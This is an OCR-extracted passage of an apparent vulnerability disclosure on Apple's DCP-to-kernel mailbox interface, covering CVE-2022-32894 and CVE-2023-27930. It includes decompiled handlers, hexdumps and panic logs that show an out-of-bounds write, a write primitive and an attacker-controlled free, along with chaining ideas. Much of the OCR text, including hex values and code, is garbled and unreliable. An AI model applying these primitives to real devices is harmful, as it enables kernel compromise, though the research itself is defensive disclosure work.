*(_QWORD #)(*(_QWORD *)(this + 192) + 256LL));
return;
case 142:

The argument sent by cmd 141 (IOPK_IOP_HERE_IS_YOUR_BUFFER_SIZE) will be shifted left 6

times. For example, sending Ox200 will result in writing the value 0x8000 to arr_item. The shifted

result (Ox8000) will also be written to 192_buf+0x100(256).
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2000000288 (ax0e000120) bytes

20P8: 80 6e 4a 9T 29 fe ff ff 20 &6f 4a 9Ff 29 fe ff ff .nd.)... 0l.)...
9018: cb 6T 4a 9T 29 fe ff ff 00 00 62 00 00 B0 00 89 .0J.).....v0vsss
9020: 90 20 ©0 90 ©0 PO 90 91 290 OO 00 90 90 B PO ........i0000000
8830: fe ca 02 00 00 90 00 90 80 8c 4B 86 28 fe fF ff ..........H. ...

8

8040: 90 00 90 80 @8 Ve 00 e® 27 6e 39 1b fe ff ff ......... 'n9....
0656: 00 @00 24 B4 BT B0 90 62 80 PO 06 @0 6O 66 B0 ..%.............
0868: | fe ca 60 00 69 60 00 62 20 PO 06 00 BV 86 PO ................
0870: 00 20 fe ad o8 o8 08 1@ 39 f1 d3 24 fe ff ff .........9..5...
2080: |80 88 24 a4 ef ee 00 0O 80 00 6P 00 AG B0 00 |..5.............
8098: 00 20 60 80 88 be 00 PO 2D 00 60 00 PO BB BB ................

20ab: 90 @9 6@ 86 o8 Be
96ho: 00 09 60 00 @9 e
90co: 20 09 20 00 99 e
godoe: 60 e0 ee ae ea ee
Bded: 00 ©D 00 90 OO0 B0
eefe: 82 29 6@ 86 08 68
9160: 00 80 60 00 99 60
9110: 00 20 ee ae 88 88
array index: 2

1. @xcafe

2. 9xo

3. o9xe

4. @xfffffe24d3T13910

5. axfes2is0000

6. Bx8ees

0B .....cvirinaaans
L L
[ -
- T
0B ....iniinnnaaans
09 ........0.......
0B ...iirriiiraanan

- I

3883333888888 8
3
3
3
3
3
3
3

3
8
8
3
3
3
3
288388888

You may have noticed that arr_item+10 and arr_item+16 remain empty. Let’s check how the kernel
handles cmd 142.

_os_log_internal(&dword 0, w83, 0S_LOG_TYPE_DEFAULT, "%s(%s:%#llx): secondaryhddress:0x%llx\n", vB53, vEB6, v87, v3);
vBE = *{ OWORD *){this + 192);
if ( *(_DWORD +#)(vH8 + 240) = 4u )
{
v13l = 471LL;
FL 74:
panic("\"I0OF Buffer array length exceeded\” @8%s5:%d", "AFKMailboxsSharedMemoryEndpoint.cpp”, v131);
vid = IOMemoryDescriptor::withPhysicalAddress(vo, *(_QWORD *)(vid + 256}, Jdu);// argl: v> is mem address
if ( tve9 )

panic("\"failed to create MD from address 0x%llx\" @%s:%d", v5, "AFKMailboxSharedMemoryEndpoint.cpp", 474LL);

v90 = w89;

if ( !RTBuddyService::makeMemoryVisible(* (RTBuddyService **)(*(_QWORD *})(this + 1B4) + 4BLL), vEB9) }
panic("\"failed to create visible memory\" @%s:%d", "AFEMailboxSharedMemoryEndpoint.cpp", 477LL};

v91l = *( _QWORD *)(this + 192);

if ( *(_BYTE *){v9l + 264) )

{

v32 = RTBuddyService::slaveMemoryFromIOPPhys (
*( QWORD *)(*( QWORD *)(this + 1B4}) + 48LL),

;[ JWORD *)(v21l + 256},
output);

// In short, if(v92){log("failed to create rtbuddyMemory")}

*{ _OWORD *)(this + 192);
*{unsigned int #*){v100 + 240);
w100 + 48 % w101;

102 + 48) = 0OxCAFE;

2 + 56)
2+ 64)
12+ 72)
RD *){v100

) y(v102 + 80)
* (W w102 + 88)
*{ DWORD *)(v100 + 240)

return;
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As you can see, arr_item+8 is set to be empty in cmd 142. This is what distinguishes cmd 142
from cmd 137. Additionally, arr_item+16 is supposed to store the output object from a call to
RTBuddyService::secondaryMemoryFromIOPPhys.

Further analysis tells us that this output object should be an instance of
RTBuddysecondaryMemoryDescriptor. This part likely failed and remains empty because we
have not allocated memory on the DCP. Nonetheless, cmd 142 will not panic the kernel when
RTBuddyService::secondaryMemoryFromlOPPhys fails, so let’s carry on.

2000000288 (Px20000128) bytes
20PD: 80 be 4a 9f 29 fe ff ff 20 6f 4a 9F 29 fe ff ff .nl.)... 0l.)...
8018: c® 6f 4a 9T 29 fe ff ff 90O OO 60 00 00 00 00 @80 .0J.)...........
0920: 90 20 B2 00 OO0 9O 90 PO O1 00 OO 9O 09 BB 9B OB .......c00v00nne
0030: fe ca @2 00 OO 90 90 @0 8@ Bc 48 86 20 fe ff ff .......... H. ...
2040: 00 00 90 09 20 PO 98 08 e® 27 be 39 1b fe ff ff ...ovnuns "n9....
2050: 90 00 24 84 O PO 00 90 B0 20 60 00 00 60 80 09 ..5..... cvvuens
P060: fe ca 6@ 00 OO OO 90 PO OO 90 OO B0 B9 P8 9B 00 .....ovevvnrnnnn
0970: 90 20 22 00 00 00 90 00 1@ 39 f1 d3 24 fe ff ff ...vvvve 9.0 5.0,
0080: 90 @8 24 64 Of 00 00 00 P2 850 00 00 00 9@ 90 08 ..5....0 i eiunn
80909: B9 20 PO 60 O P 9P 90 DO 20 PO 0O 6D PG B0 P8 ....... . 000000
20a0: 90 0 60 0O 90 Pe OO PO PO 20 O 0O 00 00 B8P 9P .......crinveann
06ho: 90 20 B2 00 00 OO B0 PO PO 00 OO 6O 60 BB 90 00 ......¢v0c0nnvunns
20ce: 00 00 €0 00 €9 P2 90 PO PP 20 00 00 00 90 B0 PP ..... . venane
gado: 99 90 20 20 €0 PO 90 00 PO 00 PG 0O 00 PO BO PO .......iusnsnana
80e@: OO 20 PO 60 ©0 PO GO 90 DO 20 OO 0O 6D PO B PO ........ 0000000
BOTO: 92 90 ©0 00 60 PO 9P O 40 0P OQ DO 0P PO B0 P9 ........ Bevennns
9160: 90 80 60 00 €9 P 9D PO PP 20 OO 00 B0 00 B VP ......... 000000
2110: 00 €0 20 00 €9 P2 90 PO PP 20 OO 00 00 98 B OO ......isisss500s
array index: 2

1. @xcafe

2. 9x@

3. 9x0

4, axfffffe24d3f13910

5. @xfe42i0e08

6. 9x8ee8

The handling of cmd 142 does not rely on mem_buf_limit at +OxF8 to get the memory size.
Instead, it gets the value at offset +Ox700 which is controlled by cmd 141. Therefore, it is possible
to overflow beyond 792_buf infinitely. Here is a panic sample caused by the cmd 142 overflow.
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“panicstring™ : "paniclicpu 1 caller Bxff{{fe@B152247058): Kernel data abort. at pc @xf{ff{fedBdlEbE5bAE, 1r @x1fdd7eddlEbTfcic (saved state:

Axfffffebfeefablta)

EUEC T ES I F 2 ®dr B x3r  gxfffffez9bzad7a40

=d: @x@fe 37 @; BedTa62bde  xB: @xTrIffedleelabed? x7: GxBODORABOGAAIIBELD
wfr @ufffffel@lBAS6Red xb: OxOO0BORRRRRRO0D00E x18: PxOOOORAAARRRERR1E x11l: @xfffffed@17H1f3fR
®12: @x@da B 8 37 x14: Bx ®15: & 3746778881
x1G6: @xfifffed@lT8e2648 x17: Ox3046felB17Be2G4@ x1B: Bx aeepemoRe  x19: exbp deaenn
w20 @xttfffesfecfabcaf x21: Pufffffezob2Bd744m  x22: Dl w233 B 1b8
z34: Ox222ERDO0O00Q0AAAR x25: OxTIIf{e@RlB5512dd x26: 0x00Q0@Q@dedfpllbd x27: exBDOODO2OAGAIEEDE
w28 @xARRRLRBRROOAAAAAR fp: Axfffffeffecfabbf@  1r:  BxifddTeddi6hifcbc sp:  Gxfffffeffecfabbbd
pc: @xf{TTfed@lEba5088 cpsr: @xE48128E esri BxDG0RA8A5 far: @xbDRDOBOGAAIREETL

Panicked task @xfffffeZ4ed4f00678: @ pages, 469 threads: pid 8: kernel_task
Panicked thread: @xfrirfezd4e5249148, backtrace: Bxfriffed8fesfaar2e, tid: 892
Ir: Befffffeaaladfsldd  fp: @ufffffeBfeafantin
lr: BfTfffe@alagrarac fp: axfriffedfeclabiel
lr: BxfffffeddldblaB2d fp: Bxfffffelfeafabfle
1r: exfffffeddlabzcaom fp: dxfffffesfesfabioe
lr: Bxfffffeddldb2abT4 fp: @xfrfffeBfeefablse
1r: Bxfrfffeddlasai3?fe  fp: aufffffedfecfablen
lr: Bxfifife@dladfdab94 fp: @xfriffed8feelabsen
1r: Bxfffffeddlasfabad fpz @xfffffeBfesfabsin
1r: Bxfffffeddls2zlc54d fp: @xfffffesfeefabson
lr: Bxfffffeddls224feB fp: @xfrfffeBfeefab?le
Lr: BefffffeaalablcBie  fp: @xfffffe8feafabion
lr: Bxffiffeddlab2aTed fTp: BxTTTrTedfeslabBaR
1r: Bxfffffeddlatal?fd fp: @xfffffelBfesfabBSA
1r: exfffffeddlebifcec fp: @xfffffesfesfabbfe
lr: BxfffffeddlebTfcbe fp: @xfffffeBfeefabcald
1r: pxfffffedal5fevebs fp: axfffffedfeefabode
1r: Bxffff1e@@15T66308 fp: @xff1ffeBlesfabd2l
1r: Bxfffffeddlsfibedd fp: Bufffffedfesfabdse
1r: Bxfffffeddlsfez448 fp: @xfffffesfeefabedd
lr: Bxfffffeddlsl2fizd fp: d@xfrfffeBfesfabeil
1r: Bxfffffeddléeldobd fp: @xfffffesfeefabead
lri BxfffdfeddlilzaBen fp: @xfrfffe8fealabecd
Lr: Befffdfeddlsi2bdic  fp: BufffffeBfeafabile
1r: exfffffeddladaceTs fp: 2xPRERRDRORGQEERER
Kernel Extensiens in backtrace
con.apple. ickit,. IOHIOFamily[(2.@) [CDE247CC-BBESD=3234-B2E2-BLTE40FDAGFE] @Rxfffffoadlébes160-=axfffffeddl6beB173
dependency: com.apple.iokit, I0RepartFamily(47) [D5EEDODF-REGE-3138-E10E-ET480087TABEF ) @0x 111 ({0 L6d65680-=8x1 111 1e8@16d686a3
com.apple.driver. I05laveProcessor{1.8) [DFE3ISECT-DF78-384D-B339-BF27R1TECCE4 Ipaxf FFf fepRlbelnfed->Rxf Fiffo@d1Ge1d93d
con.apple.driver. AppleSPUlL. @) [EFG60Q50-2508-3250-A2A6-ADIRZIAELEIG] @Rl {1 eddl5f Jaac->0xf{{{fe@@15f5f023
dependency: com.apple.driver.AppleA?IOP(1.0.2) [98521BED-5873-3042-0BBD-ABGIE0BRD1BE] QOxFff febRlo2eBbRE-—=axfFfffeBRls2fr323
dependency: com.apple.driver.ApplefAfMPlatform{l.8.2} [9110503A=2850=36C8-092A=130A020TAAGE @Bl ff{feddl53808ab-20xfffffe@dl53calib
dependency: com.apple.driver.hpplefirmarelpdaterest (1) [218R4C86-3232-3400-8229-2TB4AADLCLI7D]@Rxf 111 e@@15a20B1 B—=@x1 {11 1eBR15a2c190
dependency: com.apple.driver.I05%1aveProcessar(1) [DPEISECT-0OF78-384D-B239-BF 2701 7BCC34 1 pax f f 1 fe@dlbelbfed-=0uff ff foddlbelddld
dependency: com.apple.driver.RTBuddy(1.9.0) [SEC10558-16AE-33C7-9AT6-B0D3AF1FDER] @Rl 11 fe@@17319790-=axf{{ffepB17352321
dependency: com.apple. iokit . TOHIDFamily(2.8.8) [CDE247CC-BASD-3234-B2EX-ACTAADFOGFG]@ax FffffebBlobaS168->0xfffffeBdlahell1?d
dependency! com.apple.ickit.I0OReportFamily(47) [0SREDODF-REGE=3130-B10B-E7488A7 748BF]@0xFffffed0ledbstad-axfffffeddladtnbal

This is a panic caused by cmd 142 OOB write. It looks like some objects in IOHIDFamily got corrupted.

Arbitrary code execution

We wanted to go beyond the OOB write with cmd 142 and looked to see if we can leverage cmd
141 for anything more.

There are three cmds that caught our attention because their handlers call RemoteDataQueue:init
upon the first three pointers stored at the beginning of 192_buf. These cmds include the
following:

1. cmd 138 (IOPK_IOP_RX_QUEUE_REGISTER_TAGGED)
2. cmd 139 (IOPK_IOP_TX_QUEUE_REGISTER_TAGGED)
3. cmd 140 (IOPK_IOP_HIST_QUEUE_REGISTER_TAGGED)



0000000288(0x00000120) bytes

00ea: c@ 39 e2 ff 1f fe ff ff 60 3a e2 ff 1f fe ff ff .9...... feurass
9019: 0@ 3b e2 ff 1f fe ff ff G0 00 @0 OO €0 80 08 B0 .;.....0covenrass
0829: 6 2@ e0 ©0 BO 00 90 00 91 60 €0 90 60 6O B9 B0 ......... 00000
6038: fe ca 60 B0 B0 60 60 60 00 85 2d cd 24 fe ff ff .......... =B,
6040: 00 @0 60 60 DO PO 00 60 @8 70 3b cd 24 fe ff ff ......... pi-5...
6858: 6@ c@ 24 &4 Bf PO 90 60 00 B0 @0 00 66 PO V8 B8 ..5.............
80608: fe ca OO PO 0O PO 00 0O G0 0P @0 00 €0 80 08 B0 .......... 000000
6870: 6 08 00 68 06 60 680 08 20 84 b4 38 1b fe ff ff ..... . T
6089: 00 co 24 84 of 60 00 0O G0 B0 @0 00 60 80 60 B0 ..5......... 0000
8899: fe ca OO0 69 0O 60 60 OO 60 00 G0 €0 60 B0 B8 00 .....coci0sunuss
B8a8: 60 20 60 00 20 60 PO 09 38 46 9c 33 1b fe fFf fF ........ BF.3....
66b@: @@ c@ 24 @4 BT DO 6O GO OO 80 @O 0D €0 B0 60 B0 ..5......00uvunn
88cA: fe ca 60 OO 2O 00 90 00 92 €0 @0 00 00 98 89 B8 .......ci00avaun
6eda: 6o 2o o0 o2 20 00 00 00 be @@ b5 38 1b fe ff ff ........... B8....
0Ged: 00 cO 24 04 Bf D PO 0O 9O 80 90 9P 90 PO BB VO ..5............0
6efe: @5 00 90 20 PO 60 00 00 60 02 90 ©0 00 VO 88 B0 .....cirarnaraas
0100: 02 00 OO0 20 PO 00 00 00 e@ 67 9c 33 1b fe ff ff ....ovvuv @u3uass
9119: 00 c@ 24 24 Of 0O 00 00 GO G2 @O 0D 00 00 08 80 ..B.....c00nrnss

These commands specify a custom tag which is then used to look up arr_item in 192_buf. The
RTBuddysecondaryMemoryBuffer instance and RTBuddysecondaryMemoryDescriptor instance
carried by arr_item will be passed into the RemoteDataQueue::init, and will trigger function calls
on those objects. Let us suppose they aren’t empty.

The overflow of the 192_buf directly from cmd 141 results in additional arr_item overlapping
regions within the 7192_buf that should not be overlapped. This presents us with the opportunity
to exert control over arr_item->RTBuddysecondaryMemoryDescriptor.

In the example below, a custom tag that is 2 bytes long for the unexpected arr_item overlaps the

192_bufindex. There are five arr_items at the moment, so the custom tag will be 0Ox05. Also, arr_
item->RTBuddysecondaryMemoryDescriptor is overlapped with the shared memory size stored at
192_buf+0x100. This is set by shifting left 6 times any value sent via cmd 141. In this case, we sent
0x505050505050 from DCP and it became 0x14141414141400.

9000000288 (0xP00001208) bytes

6eea8: co 39 e2 ff 1f fe ff ff 60 3a e2 ff
eala: @0 3b e2 ff 1f fe ff ff 00 60 ee oo
8e2e: 90 6@ eo P8 a0 o0 ee 28 o9 8o
8e3@: fe ca @0 08 60 00 2@ @@ ee 85 2d cd

fe ff ff .9...... Cleiesna
90 08 B0 .i....000nr0a0an
90 88 B0 ... i uvnsnr0a0an
fe ff ff covviuina =8

e
S35

]
-3

Be48: 99 60 @0 PO 00 00 B8 @8 88 70 3b cd 24 fe ff ff ......... pi-$...
B850: 88 co 24 B4 8f 00 B0 60 OO B0 0O 60 98 B0 B8 @0 ..F....c.c000000
8060: fe ca ©0 B0 60 9D 00 OO 0O 0O OO 00 80 00 09 @0 ........c000000
6076: B0 0O @0 PO 08 PO 08 @0 20 B4 bs 3B 1b fe ff ff ........ .. 8....
6086: 80 cO 24 b4 Of 00 0O 00 PO 80 ©D 0O OB PO 08 @B ..5.............
9e98: fe ca @0 00 60 ©0 B0 GO B0 OO OO 0O 90 09 98 @9 ....... .. e00ranas
@Bad: 90 00 @0 00 20 o0 B8 @0 30 46 9c 33 1b fe ff ff ........ eF.3....
eebe: @0 co 24 o4 of 00 00 00 PO 850 ©D 00 92 00 08 0@ ..5..........00.n
88c@: fe ca @0 00 0 20 20 €O 90 0O OO 0O 98 €9 B2 @9 ........cv00a0un
B8de: o0 60 @0 90 00 €0 68 @8 be 80 b5 38 1b fe ff ff .......0000 8....
60eB: 86 cO 24 B4 Of OO 6O OO 6O 50 6D 0O OB VO 68 06 ..5..........0040
6ofo: 65 60 ©0 60 0D 0O DO OB OO OO OO 6O B0 00 B9 @0 ......... 000000
9180: 86 14 14 14 14 14 14 @8 e® 67 9c 33 1b fe ff ff ......... g.3....
911@: 80 cO 24 B4 T 0D 00 @O OO 00 00 00 60 00 0@ @0 ..5...cvrvsrrsas
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Let’s take a look at how this is handled from ::handleMailboxMessage. Ox14141414141400 will be
passed into RemoteDataQueue::init as the fourth parameter. This is passed in the v17 variable in
the screenshot below.

= *{_OWORD *){vl5 - 16); " ek dem uf
= *( OWORD *){v1l5 = B); L S € :
v1B = *{_QWORD *)vl5;
LABEL 47:
if { tgwle | w17y )
panis("\"no secondary memoryh” E%s:%d", "AFKMailboxSharedMemoryEndpoint.cpp”, 519LL);

w112 = *( QWORD *){ 192 buf + 248);
w113 = WORD2{a2);
wlld = HIWORD({=aZ});
w115 = w112 * WORDLl{aZ2);
w1lé = wll2 * w113
switch ( (unsigned int8)vlld )
{
case 138u:
v117 = *{ QWORD =*=){ 192 buf + 8});
if { *(_DWORD *}{v117 + 136) )
return;
v11E = *( OWORD *){*{ OWORD *)(this + 184) + 32LL);
wlls = 2,

goto LABEL _55;

case 140u:
v120 = #*{_QWORD *){_192 buf + 16);
T CowWoRD T R(VIZU T 1367

return;
if { (unsigned int)RemoteDataQueue::init(
vla
®( OWORD *)(*(_QWORD *){this + 184) + 32LL),
vi6,
vl7,
vile,
vll2,
v11s,
v1g,
3) )
return;
{*{void (_ fastcall *=*){uintéd4_t, const char *, unsigned _ intéd4, _ int64))(*{_OWORD *Jthis + BF2ZLL)){
this,
"historical gueue size”,
v1il5,
32LL);
v121 = #{ OWORD #=j{this + 192);

*(_QWORD *)(v1Zl + 24) = vla;
if ( 1vle )
return;
vl2Z = IOMemoryDescriptor::withAddress(
#*(void #*) (% QWORD #*)(w12l + 16} + 128LL),

0000871C _ EN30AFKMailboxSharedMemoryEndpoint20handleMailboxMessageEy:576 (871C)

Handling of cmd 140 in AFKMailboxSharedMemoryEndpoint::handleMailboxMessage — no change before or after
patching

The v120 variable is one of the three-pointers stored at the beginning of 192_buf. The three-
pointers were allocated when the kernel received cmd 160 (/OPK_IOP_READY_ACK) from
the DCP. The cmds 138, 139 and 140 require that the specified arr_item carry either the
RTBuddysecondaryMemoryBuffer or RTBuddysecondaryMemoryDescriptor instance. This is
passed to RemoteDataQueue::init.
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= *{ OWORD *){vl5 - 16); € > RTBuddyS AemoryBuf
= *{ QWORD *)(v15 - &); m-> RTBuddys i S Erif
v1E = ={_QWORD *)v15;
LABEL_47:
if ( L(vle | w17y )
panic("\"no secondary memory\" B%s:%¥d", "AFEKMailboxSharedMemoryEndpoint.cpp", S519LL);
w11z = *({ QWORD *){ 192 buf + 248);

wll3 = WORD2({al);

w1ld = HIWORD(aZ);

w115 = w112 * WORD1l({aZ);
villé = v11Z « v113;

switeh ( (unsigned int8)vlld )

case 13Bu:
v117 = #*(_OWORD *=)(_19%2 buf + 8);
if ( *({_DWORD *){vli7 4+ 136) )
return;
v11lE = *( OWORD *=){*{_ OWORD *)(Lhis + 184) + 32LL};
v1ile = 2;
goto LABEL_55;
case 140u:
v120 = #{ QWORD *){_ 192 buf + 16);
T = {TDWORD = (VIZUF 1367 )

return;
if { (unsigned int)RemoteDataQueue::init(
w12,
®( OWORD *)(#%{ OWORD #){thi= + 184) + 32LL),
vle,
w17,
vITh,
w112,
w115,
v18,
3 )
raturn;
{*{void (_ fastcall *=*){uintéd4 t, const char *, unsigned _ int6d, _ int64))(*{ OWORD *)this + GTFZLL)){
this,
"historical gueue size”,
v1l5,
3I2LL);

v121l = *{_ QWORD *){this + 192);
={_OWORD *}(v12l + 24) = vl6;
if ( 1vie )
return;
w122 = IOMemoryDeseriptor::withaddress(
*®(vold **)({*{ QWORD *)(wl2l + 16} + 128LL),

0000871C __ZN3DAPKMﬂilboxsharadﬂemoryﬁhdpointz0hﬂndlaHailhﬂxHeBsagBEy:576 (871C)

Inside RemoteDataQueue:init

In the screenshot above, we can see that v16 is initially under our control as it references the
overflowed RTBuddysecondaryMemoryDescriptor.

In the screenshot below, invalid address access at 0x0014141414141400.

"panicString" : "paniclcpu 1 caller Oxfffffe0@11048f08): Kernel data abort. at pc @xfffffe@@11830c30, lr @xfffffe@d11830c18
(saved state: @xfffffe74fcB03%en)
x@: 0x0014141414141400 x1: @xfffffc6Be26ieecd x2: 0x0000000000000001 x3: Oxedd27ed@lOedlide
x4: Bxfffffed@13719adE x5: ©x0000000000000000 x6: 0x0000000000000000 x7: Oxfffffe200174b748
xB: Bxfffffe298e50aecd x9: Oxfffffed@13762078 x10: 0x0000000000000009 x11: AxA0A0ADDNAA0OAEE0ME
x12: Bx00000PARO0AGR0AE x13: 9xPRPOOAREN0ARRRAE x14: @xfffffe200174b750 x15: AxA0000000R0000009
x16: @xfffffed@l3782078 x17: 8x34f6fel@12702078 x18: 0x0000000800000080 x19: Bxfffffe2@@0bbcfed
x20: 0x0000000000002c2 x21: Bxfffefeb0d4170108 x22: @xFffffe200174b748 x23: Bx0000000000000003
x24: Bxfffffe380051c9d® x25: Bxcdalfelb33488548 x26: Ox000000000000008c x27: Bxfifffeddla2fdled
x28: exfffffe@@la2fdled fp: exfffffevdafcBe3dee 1r: exfffffe@@llalecls sp: exfffffe74fcidesdie
pc:  Bxfffffe@@11830c3@ cpsr: OxBA401208 esr: @x96000004 far: Bx0014141414141400

Debugger message: panic
Memory ID: @x6

05 release type: User
05 version: 21G72
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Is this sufficient for an arbitrary code execution?

Not quite. The most significant byte of the FAR is empty (0x0014141414141400). That is because
only the lower 56 bits of MailboxMessage are used in the handling of the cmd by the kernel — of
which 48 bits are parameters — and the remaining 8 bits are the cmd. This design is likely out of
security concerns, the idea being that an attacker won’t have sufficient bytes to forge valid kernel
pointers because they are 64-bit long.

15
e | |vd = BYTE&(aZ); f/ 8plit emd from the msg. 8 bit long
BT v5 = aZ & OXFFFFFFFFFFFFLL; // Bplit arguments from the msg. 48 bit long

38 Vb = [const OoMetaClass *j(*(__inth4 (_ Lasctcall **jlulntbd _C)j(*(_GOWORD *JLhOLs + S5BLL) J(Cthis);
39 OSMetaClass::getClassName(vio);
4o | (% (woid { fasteall **){uintéd t, QWORD})(*{ QWORD *)this + 936LL)){this, OLL);
L1 IORegistrvEntry: :getRegistryEntryID( {([0RegistryEntry *)this);
| v7 = {os log s *)_ AFKLOg():
43 v8 = (const OSMetaClass *)(%(_ inté4 (_ fastecall **){uinté4 t))(*(_OWORD *)this + S56LL))(this);
3 i ClassNamae = DSHetaClaEs::getclassNamE(vﬁ];
vl = (conat char *4W0*f inthd | fastrall **Wfuinthd +. OWEORNY A M *d OWORD *3this + 93ALTAN(Ehi=.
00008528 EZN30AFKMailboxSharedMemoryEndpoint20handleMailboxMessageEy:115 (8528)

The upper 8 bits of MailboxMessage are discarded and only the lower 56 bits will be used by the kernel.

Furthermore, even if we do have control over the most significant byte, we still won’t be able to
achieve arbitrary code execution due to the presence of Pointer Authentication.

A more convenient approach would be for an attacker to gain the ability to read/write kernel
memory from the DCP. This capacity alone would be enough to consider the system fully
compromised because overwriting kernel data structures would allow an attacker to inject and
execute unauthorized code in the user space process. However, we don’t see evidence that the
patch specifically mitigated this type of attack.

Even if the patch did not exist, the vulnerability causing the overflow in the 192_buf alone would
not be sufficient for achieving code execution in the kernel. We maintain that a robust exploit
for this vulnerability must be coupled with additional vulnerabilities and/or weaknesses to be
effective.

case 1l61:
case 162:
case 163:
case 164:
goto LABEL 77;
case 165:
*( DWORD *){*{_OWORD *)(*(_OQWORD *)(this + 192) + 8LL) + 32LL) = al;// input from DCP
return;
case lbb6:
LODWORD (v137) = al;
AFKMailboxSharedMemoryEndpoint:: handleTxQueue( (AFKMailboxSharedMemoryEndpoint *)this, (unsigned
return;
case 1b7:
w104 = *{ QWORD *)(this + 192);
+++ [ DWORD *){vl0d + 272);:
{*(veid {_ fastcall #**)( OWORD, _ int6d, _QWORD))(**(_ CWORD #*=)(*( OWORD *)(this + 184) + 16LL) #
¥ QWORD *)(*{ QWORD #)(this + 184) + 16LL),

00097C0 _ ZN30AFKMailboxSharedMemoryEndpoint20handleMailboxMessageEy:604 {97C0)

For example, the handling of cmd 165 in the kernel looks

like a perfect 4-byte memory write primitive reachable from DCP.
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Taking the research one step further: Demonstrating a
DCP to AP Kernel vulnerability

Given our interest in and research of CVE-2022-32894 and its use in the wild, we set out to
discover and disclose other possible DCP to AP escapes in the hopes that we can help mitigate
and prevent their use in the future. We focused our analysis on the attack surface that includes
the interaction between the DCP and the kernel using MailboxMessage cmds.

As a result, we discovered an arbitrary free vulnerability that allows us to control both the address
and the size of the memory being released. The arbitrary free can lead to use-after-free and
double-free vulnerabilities. By combining this concept with the additional controls the attackers
achieved through CVE-2022-32893 or similar bugs, this vulnerability could have been leveraged
to gain unrestricted access to the targeted device.

Meet CVE-2023-27930

During our testing of the AppleFirmwareKit external methods, we accidentally triggered a panic.
The consistent panic appears to be attempting to free a user-space address with an abnormal
size input.

“panicString"™ : “"panicl(cpu 3 caller @xfffffe@@l4bd6154): kfree: addr @x7ff92d7f5e@7 trying to free with nonsensical size
105553131524320 @kalloc.c:2312

The panic is inside a function called AFKMailboxEndpointinterface::_handleResponseSubPacket.
Specifically, there appears to be a problem with the parameters passed to /OFreeg().

"4E(4s:%#L1X): As: sz:ix version:i¥x category:Wx type:%x seq:%x ts:¥llx retryCount:%x pktOptions:¥x cmdOptions:%x responses

- ]'andleR-e ponsesur?acke

aX + 18),
2 + li] & DxF,

intd *)faZ + 19) >> 4,

nt *p{a + 20));

]bﬂandpﬂlntTnfﬁrfﬂﬂﬂ‘ _commandForSubPacket(al, aZ);

w14 + 15
s14 % OX2ZE);
+ 296) = 2:

Wl ,".-.'ulJﬁ *)(v1l5 + 304) = mach absolute time();
if ( vi3 )
if ( *( WORD *){aZ + &) == 2§ } {/ package type
{
6 = [ QWORD =){wii + 32);
nrmuilhoxundpaintinterfate _handlehllocatedOBResponse(al, W DWORD =){a? + 24), {  intéd w)(az + 2B), viij;
IOFree(*(void *+*)(vie + 24), ¥( OWORD *)(vl6 + 3I2)):// =- panj.c
IOFree( (void *)vii, OxdO0uLL);
goto LABEL_14;
= w(_QWORD *)}(vl3d + 88);

if | w17
&k (7 (ur nad {_ faptecall *=){ QWORD, _ int6d, OWORD))(**( QOWORD +**)(al + 152) + S52LL))(
1D ,” 1+ 152],

(O
0001C24C _ ZN27AFKMailboxEndpointInterfaceid handleResponseSubPacketEPK19 IOPSubPacketHeaderPKhm:dd [1C24C)




This panic location is quite interesting because according to our previous research on the
AppleFirmwareKit driver, it follows the path of
AFKMailboxSharedMemoryEndpoint::handleMailboxMessage. Specifically, when the kernel receives cmd
134 (IOPK_IOP_TX_QUEUE_START_DONE) from the DCP, ::handleMailboxMessage is involved in parsing
the message.

Diving deeper still, we found that it's possible to control the two parameters passed to IOFree(). With
control of both parameters, we can create a use-after-free scenario for any memory usage, as well as

a double-free for any existing memory release. In this way, we leverage the DCP to trigger memory
corruption in the kernel in a similar way to how the attackers of CVE-2022-32894 may have used that bug.
Given that the attackers are also likely able to control the user-space side using a browser vulnerability
like CVE-2022-32893, attacking the kernel from both the DCP and the AP user space simultaneously is a
potent strategy against the AP kernel.

"panicString” : "panic(cpu 1 caller @xfffffe@0260dal54): kfree: addr ©0x4242424242424242 trying to free with
nonsensical size 4846791580151137091 @kalloc.c:2312

————— Backtracking to panic point

—> Kernel processes messages sent from DCP
-> AFKMailboxEndpointBase::_asyncMessage
-> AFKMailboxSharedMemoryEndpoint::handleMailboxMessage
-> AFKMailboxSharedMemoryEndpoint::_handleTxQueue
—> RemoteDataQueue::dequeue_all
—> SPUDataQueue::dequeue_all
—> AFKMailboxSharedMemoryEndpointInterface::_handleI0OPPacket
—> AFKMailboxEndpointInterface::_handleSubPacket
-> AFKMailboxEndpointInterface::_handleResponseSubPacket // Panic Here!

This vulnerability occurs when the kernel processes a response message with subpacket type 26

from the DCP. Inside kernel function AFKMailboxEndpointinterface::_handleResponseSubPacket, it
retrieves an IOPTxCommand object from an array using subpacket seq as an index which happens in
AFKMailboxEndpointinterface::_commandForSubPacket. It then dumps a structured data variable from the
IOPTxCommand object and calls IOFree() on a pointer stored in this data variable. The problem is that this
data variable can be of a different type than expected, resulting in the attacker gaining control of both the
address and the size passed to IOFreg().
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O5_LOG_TYPE_DEBUG,
"§5(¥s:%F1l1x): ¥5: 8z:iX version:ix category:ix type:ix seg:ix ts:3llx retryCount:®x pktOptions:%x cmdOptions:%x responsd
ClassName,
vll,
Regis EntryID,
"_handleResponseSubFPacket"
*funsigned int *)msg sulbj k
*(unsigned _ int8 *}(n
*(unsigned intd *)(m [
*(unsigned _ intlé *)(msg_subpacke
*{unsigned _ intle * subpacket + 16},
*(_QWORD *)(msg_subpacket + 8),
*{unsigned _ int8 *)(m subpacket + 18),
*{ BYTE *)(msg_subpacket + 1%) & 0OxF,
*{unsigned _ int8 *)(msg_subpacket + 19) >> 4,
*funsigned int *)(msg subpacket + 20));
w13 = AFKMailboxEndpointInterface::_commandForSubPacket(al, msg subpacket);f (1) Retrieving a IOPTxCommand object from an array
v1ld = *{_DWORD *j(al + 292);
*(_DWORD *)(al + 292) = v14 + 1;
vls = al + 16LL * (vld 0x28);
*(_DWORD *)(v15 + 296) 3
*( OWORD #) (w15 + 304)
if { w13 )

I n e

H
mach_absolute time();

if ( *(_WORD *)(msg_subpacket + 8) == 26 ) /f(2) Checking for subpacket type

v1E = *{_QWORD +)(vl3 + 32);
AFFMailboxEndpointInterface:: handleAllocateOOBEResponse(
al,
vl6,
*(_DWORD *)(msg subpacket + 24),
{_ intéd #*)(msg_subpacket
v13y;
I0Free(*{void =*)(vl6 + 24), *( OWORD =)(vle + 32));|
I0Free( (vold *jv.ib, Ox40ull);
goto LABEL 14;

